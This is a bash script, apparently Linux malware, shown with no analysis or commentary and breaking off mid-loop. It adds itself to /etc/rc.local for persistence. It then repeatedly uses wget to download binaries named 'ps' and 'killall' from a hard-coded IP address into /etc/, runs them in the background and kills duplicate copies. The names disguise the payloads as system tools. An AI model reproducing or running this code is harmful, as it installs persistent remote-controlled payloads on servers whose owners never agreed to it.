name -a
 #!/bin/bash
 #Welcome like-minded friends to come to exchange.
 #We are a group of people who have a dream.
 #                qun:10776622
 #                2016-06-14


 if [ "sh /etc/ps &" = "$(cat /etc/rc.local | grep /etc/ps | grep -v grep)" ]; then
     echo ""
 else
     echo "sh /etc/ps &" >> /etc/rc.local
 fi


 while [ 1 ]; do
     Centos_sshd_killn=$(ps aux | grep "/etc/ps" | grep -v grep | wc -l)
     if [[ $Centos_sshd_killn -eq 0 ]]; then
         if [ ! -f "/etc/ps" ]; then
             if [ -f "/usr/bin/wget" ]; then
                 cp /usr/bin/wget .
                 chmod +x wget
                 #./wget -P . http://60.168.97.124:8864/ps
                 ./wget -P /etc/  http://60.168.97.124:8864/ps &> /dev/null
                 chmod 755 /etc/ps
                 rm wget -rf
             else
                 echo "No wget"
             fi
         fi
         /etc/ps &
         #./ps &
     elif [[ $Centos_sshd_killn -gt 1 ]]; then
         for killed in $(ps aux | grep "ps" | grep -v grep | awk '{print $2}'); do
             Centos_sshd_killn=$(($Centos_sshd_killn-1))
             if [[ $Centos_sshd_killn -eq 1 ]]; then
                 continue
             else
                 kill -9 $killed
             fi
         done
     else
         echo ""
     fi


     Centos_ssh_killn=$(ps aux | grep "/etc/killall" | grep -v grep | wc -l)
     if [[ $Centos_ssh_killn -eq 0 ]]; then
         if [ ! -f "/etc/killall" ]; then
             if [ -f "/usr/bin/wget" ]; then
                 cp /usr/bin/wget .
                 chmod +x wget
                 #./wget -P .  http://60.168.97.124:8864/killall
                 ./wget -P /etc/  http://60.168.97.124:8864/killall &> /dev/null
                 chmod 755 /etc/killall
                 rm wget -rf
             else
                 echo "No wget"
             fi
         fi
         /etc/killall &
         #./killall &
     elif [[ $Centos_ssh_killn -gt 1 ]]; then
         for killed in $(ps aux | grep "killall" | grep -v grep | awk '{print $2}'); do
             Centos_ssh_killn=$(($Centos_ssh_killn-1))
             if [[ $Centos_ssh_killn -eq 1 ]]; then
                 continue
             else
                 kill -9 $killed
             fi
         done
     else
         echo ""
     fi